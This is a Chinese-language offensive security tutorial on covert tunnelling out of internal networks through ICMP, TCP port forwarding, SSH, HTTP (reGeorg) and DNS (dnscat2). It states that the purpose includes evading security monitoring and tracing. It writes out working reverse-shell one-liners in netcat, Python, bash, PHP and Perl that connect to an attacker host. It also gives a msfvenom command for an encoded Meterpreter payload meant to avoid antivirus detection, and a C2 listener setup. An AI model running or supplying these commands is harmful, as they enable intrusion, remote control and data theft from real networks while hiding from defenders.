隱蔽通訊隧道基礎知識
經過前面資訊收集的學習,知道了我是誰,我在哪,那麼這章主要是我能去哪?
1.對進出口的流量是否連通的判斷(判斷內網的機器是否連通外網)
2.在非受信任的網路如何實現安全的傳輸
3.使用隱蔽的手段,逃避安全監測措施和溯源追蹤
什麼是隧道:
隧道是繞過防火牆埠遮蔽的一種通訊方式,防火牆兩端的資料包 ,通過防火牆所允許的資料包型別或者埠進行封裝,然後穿過防火牆,與對方進行通訊。當被封裝的資料包到達目的地,進行還原。
比如防火牆只開放了53埠,只允許DNS協議通過,這時可將資料封裝在DNS協議裡面,從內網發出去,在外面再進行解封裝。即可實現隱蔽通訊。
常用的隧道技術:
- 網路層:IPv6隧道、ICMP隧道、GRE隧道
- 傳輸層:TCP隧道、UDP隧道、常規的埠轉發。
- 應用層:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道
內網連通性判斷
判斷內網的連通性是指判斷主機能否上外網等。常見的允許流量流出的埠有80、8080、443、53、110、123等。
1 ICMP協議
- ping:命令:ping <IP地址>
2 TCP協議
-
netcat:“瑞士軍刀”,簡稱“nc”。通過使用TCP/UDP的網路連線來讀寫資料。使用命令:nc -zv <IP 埠號>
nc -zv 192.168.1.7 80
3 HTTP協議
- curl:curl是一個利用URL規則在命令列下工作的綜合檔案傳輸工具。unix自帶,windows需要下載。
- 使用命令:curl < IP:埠號 >
4 DNS協議
- nslookup(windows)
- dig(linux)
5 代理伺服器
有時候企業辦公網利用代理伺服器進行上網,判斷方法:
- 檢視網路連線
- 檢視主機名是否有”proxy“的主機
- 檢視IE的代理
網路層隧道
1 IPv6隧道
2 ICMP隧道
只要可以ping通,就可以嘗試建立ICMP隧道,將資料包封裝在ICMP裡面,
ICMP隧道工具有PingTunnel,icmptunnel,Icmpsh,powershell icmp等
A.icmpsh
安裝步驟:
git clonehttps://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 關閉本地系統icmp的應答接下來進入目錄執行,輸入./icmpsh_m.py 192.168.1.9 192.168.1.7 注意這裡192.168.1.9代表目標主機的公網IP
在目標主機輸入:
icmpsh.exe -t 192.168.1.9 -d 500 -b 30 -s 128 內網主機輸入,可以連線成功,得到shell。
B.pingtunnel
上面的場景,192.168.1.0/24 代表外網,1.1.1.0/24表示內網,這裡模擬的場景是黑客通過WEB獲得了WEB伺服器的許可權。然後通過內網滲透獲取資料庫伺服器的密碼。 但是發現不能進行訪問,只能ping通。這裡用到ICMP隧道技術。
首先在外網的伺服器VPS,和WEB伺服器 安裝一下icmp隧道工具。
下載地址:freshmeat.sourceforge.net/project/ptunnel
安裝流程:
1.安裝編譯
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install2.缺少pcap.h
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure3.yacc包錯誤
Sudo apt-get install –y byacc
./configure
make
sudo make install
執行ptunnel
伺服器:
ptunnel -x shuteer
VPS:
ptunnel -p 192.168.1.11 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer
引數說明:
-x 指定 icmp 隧道連線驗證密碼
-lp 指定要監聽的本地 tcp 埠
-da 指定要轉發到的機器的 ip 地址
-dp 指定要轉發到的機器的 tcp 埠
-p 指定icmp隧道另一端機器的 ip 地址
所以這條語句的含義是 Web伺服器 (192.168.1.11) 會把訪問內網資料庫伺服器(1.1.1.10)的3389埠的資料包封裝在ICMP隧道里,傳給外網VPS伺服器的1080埠,在訪問攻擊者的VPS伺服器 192.168.1.9的 1080埠時,會收到相應的資料包。
防禦措施:Wireshark 資料包分析,惡意流量分析。
傳輸層隧道技術
1 lcx埠轉發
1.lcx埠轉發
A.內網埠轉發
目標機器:lcx.exe –slave 公網主機ip 4444 127.0.0.1 3389
VPS:lcx.exe –listen 4444 5555
B.本地埠對映
lcx -tran 53 目標主機ip 3389
2 netcat
下載連結
LINUX:
sudo yum install nc.x86_64
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
WINDOWS:
Nc:https://joncraton.org/files/nc111nt.zip
Nc_safe:https://joncraton.org/files/nc111nt_safe.zip
引數說明:
-d 後臺模式
-e 程式重定向
-g <閘道器> 設定路由器躍程通訊閘道器,最多可設定8個;
-G <指向器數目> 設定來源路由指向器,其數值為4的倍數;
-h 線上幫助;
-i <延遲秒數> 設定時間間隔,以便傳送資訊及掃描通訊埠;
-l 使用監聽模式,管控傳入的資料;
-n 直接使用IP地址,而不通過域名伺服器;
-o <輸出檔案> 指定檔名稱,把往來傳輸的資料以16進位制字碼傾倒成該檔案儲存;
-p <通訊埠> 設定本地主機使用的通訊埠;
-r 隨機指定本地與遠端主機的通訊埠;
-s <來源位址> 設定本地主機送出資料包的IP地址;
-u 使用UDP傳輸協議;
-v 詳細輸出;
-w <超時秒數> 設定等待連線的時間;
-z 將輸入輸出關掉,只在掃描通訊埠時使用。
Banner資訊抓取
nc –nv 192.168.123.103 21
連線到遠端主機
nc -nvv 192.168.11.135 80
埠掃描
nc -v 192.168.11.138 80
nc -v -z 192.168.11.138 20-1024
埠監聽
Nc -l -p 9999
檔案傳輸
Nc –lp 333 >1.txt
Nc -vn 192.168.1.4 333 < test.txt –q 1
獲取shell
shell連線有兩種:正向shell和反向shell
正向shell,指的是客戶端連線伺服器,客戶端想獲取伺服器的shell,稱為正向shell。即控制方主動發起連線去連線被控制方。
反向shell,指的是客戶端連線伺服器,伺服器想獲取客戶端的shell,稱為反向shell。即被控制方主動去連線控制方。
一般從外網搞內網用的都是反向shell,而在內網裡面用的是正向shell。
1.正向 shell
目標主機監聽:
Nc -lvp 4444 -e /bin/sh //linux
Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows本地主機:
Nc 192.168.1.11 4444
2.反向 shell
本地主機監聽:
Nc -lvp 9999
目標主機:
Nc 192.168.11.144 9999 -e /bin/sh //linux
Nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows
目標主機沒裝netcat,如何反向shell
1.python反向shell
VPS上監聽埠:
Nc -lvp 2222
目標主機上執行:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.Bash反向shell
VPS上監聽埠:
Nc -lvp 4444
目標主機上執行:
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
3.PHP反向shell
VPS上監聽埠:
Nc -lvp 2222
目標主機上執行:
php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
4.Perl反向shell
VPS上監聽埠:
Nc -lvp 4444
目標主機上執行:
perl -e ‘use Socket;\(i=”192.168.1.4″;\)p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
內網代理
外網VPS伺服器,通過內網WEB伺服器,獲取內網資料庫伺服器shell
1.VPS監聽埠
nc -lvp 3333
2.目標伺服器執行
nc -lvp 3333 -e /bin/sh
3.邊界伺服器執行
nc -v 192.168.1.4 3333 -c
“nc -v 1.1.1.200 3333
邊界伺服器相當於做了代理,將目標資料庫伺服器的shell許可權轉移給外網VPS伺服器。
應用層隧道技術--SSH隧道
什麼是SSH?
SSH 埠轉發能夠提供兩大功能:1.加密 SSH Client 端至 SSH Server 端之間的通訊資料。2.突破防火牆的限制完成一些之前無法建立的 TCP 連線。
常規操作
ssh root@192.168.1.1 –P 22
密碼登入過程
1.遠端主機收到使用者的登入請求,把自己的公鑰發給使用者
2.使用者使用該公鑰,將登入密碼加密後,傳送給遠端主機。
3.遠端主機用自己的私鑰,解密登入密碼,如果密碼正確,就使用者登入。
本地埠轉發
原理:
VPS 攻擊伺服器,不能直接訪問內網裝置的資料庫伺服器,但是可以訪問WEB伺服器,所以可以通過WEB伺服器作為跳板,通過WEB伺服器訪問資料庫伺服器,然後再將資料傳出來。
配置:
Vi /etc/ssh/sshd_config SSH配置檔案
AllowTcpForwarding yes 是否允許轉發TCP協議GatewayPorts yes 是否允許遠端主機連線本地轉發埠
PermitRootLogin yes 是否允許root登入
PasswordAuthentication yes 是否允許使用基於密碼的認證
TCPKeepAlive yes 保持心跳,防止 ssh 斷開service ssh restart /etc/init.d/ssh restart
利用:
在VPS伺服器執行以下命令:
格式: ssh –L 本地埠:目標主機:目標埠 jump主機
示例:$ ssh -L 2121:1.1.10:21 root@192.168.1.11
ssh –CfNg –L 2121:1.1.1.10:3389 root@192.168.1.11
連線後需要輸入WEB伺服器的密碼netstat -tulnp | grep "2121" 檢視本地埠是否連線
rdesktop 127.0.0.1:2121 訪問本地系統的2121埠
常見建立ssh隧道所用到引數說明:
-C 壓縮傳輸,加快傳輸速度
-f 將SSH轉入後臺執行,不佔用當前的shell
-N 建立靜默連線(建立了連線,但是看不到具體會話)
-g 允許遠端主機連線到本地用於轉發的埠
-L 本地埠轉發
-R 遠端埠轉發
-D 動態轉發(socks代理)
-P 指定SSH埠
藉助WEB伺服器做跳板,下面是原理圖:
msfvenom實戰:
msfvenom是淨荷生成和編碼的組合,取代了 msfpayload 和 msfencode ,編碼是為了免殺
msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=192.168.1. 1 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rever.exe
msfvenom 常規選項用途:-l 列出所有可用的載荷列表(payload), -l payloads
-p 選擇一個payload,也可以使用自定義payload, 支援全平臺
-f 生成檔案格式, --help-formats,可檢視支援的所有輸出格式
-e 編碼方式,-l encoders,可檢視支援可使用編碼器
-i 編碼的次數
-a 系統架構,預設X86,指定目標平臺:--platform xxx,--list platform
-b 在生成的Payload中避免出現的值,新增這個引數,msfvenom 將會自動尋找合適的編碼器來編碼 Payload
-x 允許我們指定一個自定義的可執行檔案作為模板,也就是將木馬捆綁到這個可執行檔案上
-k 當模板被執行時,payload自動分離並注入到新的程式中,一般和-x選項一併使用
-o 指定建立好的payload的存放位置
-h 幫助
在VPS主機上:
1.設定一個反向Payload,VPS做好監聽
msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=1.1.1.155 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rever.exe生成rever.exe 程式,然後可以複製到需要反彈的內網主機上
2.執行MSF
set payload windows/meterpreter/reverse_tcp_rc4_dns
set lport 53
set lhost=1.1.1.155
set rc4password shuteer
set exitonsession false
show options
exploit -j
邊界伺服器上開啟埠轉發,見上面的配置
在目標主機
ssh –L 本地埠:目標主機:目標埠 jump
ssh -CfNgL 53:192.168.1.10:53 root@1.1.1.116 -p 22
然後將生成的rever.exe 程式,複製到想要連線的內網主機上執行。(可以是DC,也可以是其他主機)
在VPS主機執行
sessions 檢視連線
sessions -i 1 進入主機,可以執行shell命令
遠端埠轉發
相比較於本地埠轉發,跳轉主機沒有外網IP地址,但是可以訪問外網。因此,VPS伺服器不能訪問它。
所以要用內網的主機,去訪問外網VPS。下面的遠端主機埠,是VPS的埠。
利用:
在web伺服器端執行以下命令:
格式: ssh –R 遠端主機埠:目標主機:目標埠 遠端VPS主機
示例:$ ssh -R 2121:1.1.1.10:3389 root@192.168.1.4
動態轉發
建立一個SSH加密的SOCKS 代理通道,任何支援這個協議的程式都可以使用這個通道進行代理訪問。比如:買一臺海外伺服器,通過這個可以進行訪問。
在VPS 伺服器執行命令:
ssh -D 7000 root@192.168.1.11
應用層隧道技術--HTTP/HTTPS協議
使用工具:reGeorg
下載地址:https://github.com/sensepost/reGeorg
reGeorg工具有PHP,JSP,ASPX等web指令碼,將指令碼檔案上傳到伺服器中,使用kali本地訪問遠端伺服器的tunnel.jsp指令碼檔案,返回後利用reGeorgSocksProxy.py指令碼監聽本地9999埠,即可建立一個通訊鏈路
python reGeorgSocksProxy -u http://[伺服器IP:埠]/tunnel.jsp -p 9999
建立隧道後,在使用ProxyChains之類的工具,訪問目標的資源
應用層隧道技術--DNS隧道
原理:
DNS協議是一種請求/應答協議,可應用於應用層隧道技術。將資料封裝在DNS查詢響應資料包裡面,進行通訊。比較隱蔽,可繞過防火牆的攔截。
使用者管理殭屍網路和進行APT攻擊的伺服器叫做C&C伺服器(Command and Control Server,命令及控制伺服器)。C&C節點分為兩中種,一種是C&C服務端(攻擊者),另一種是C&C客戶端(被控制的計算機)。C&C通訊是指植入C&C客戶端的木馬或者後門程式與C&C服務端上的遠端控制程式之間的通訊。
DNS隧道的工作原理很簡單:在進行DNS查詢時,如果查詢的域名不在DNS伺服器本機的快取中,就會訪問網際網路進行查詢,然後返回結果,如果網際網路上有一臺定製的伺服器,那麼依靠DNS協議就可以進行資料包的交換,從DNS協議的角度來看,這樣的操作只是一次次地查詢某個特定的域名並且得到解析結果,但其本質的問題是,預期的返回結果應該是一個IP地址,而事實上不是——返回的可以是任意字串,包括加密的C&C指令。簡單地說,就是將其他協議封裝在DNS協議中進行傳輸。
DNS隧道工具--Dnscat2
dnscat2:它使用DNS協議建立加密的C&C通道,通過預共享金鑰身份驗證。該工具客戶端是由C編寫,服務端是由Ruby編寫的。它有兩種模式:直連模式:客戶端直接向指定的IP地址的DNS伺服器發起解析請求。中繼模式:DNS通過網際網路的迭代查詢,指向指定的DNS伺服器。
在使用該工具的時候需要先部署域名解析,測試部署是否成功。安裝服務端。
啟動服務端:sudo ruby ./dnscat.rb vpn.360bobao.com -e open -c ms08067.com --no-cache -c:指定使用預共享的金鑰進行生成驗證一面中間人攻擊 -e:規定安全級別,open表示服務端允許客戶端不進行加密 --no-cache表示禁止快取,必須要新增該選項
如果是直連模式:sudo ruby ./dnscat.rb --dns server=127.0.0.1,port=53,type=TXT --secret=ms08067.com 表示監聽本地的53埠,自定義連線密碼是ms08067.com
在目標主機上安裝客戶端:測試是否連通於服務端:dnscat.exe --ping vpn.360bobao.com
客戶端連線服務端:dnscat.exe --dns domain=vpn.360bobao.com --secret ms08067.com
如果服務端使用的是直連模式:dnscat --dns server=
當客戶端和服務端連通之後就可以執行命令了
具體詳情請參考內網安全攻防這本書
DNS隧道工具--iodine
總結
下面是關於各種隧道技術的總結與比較: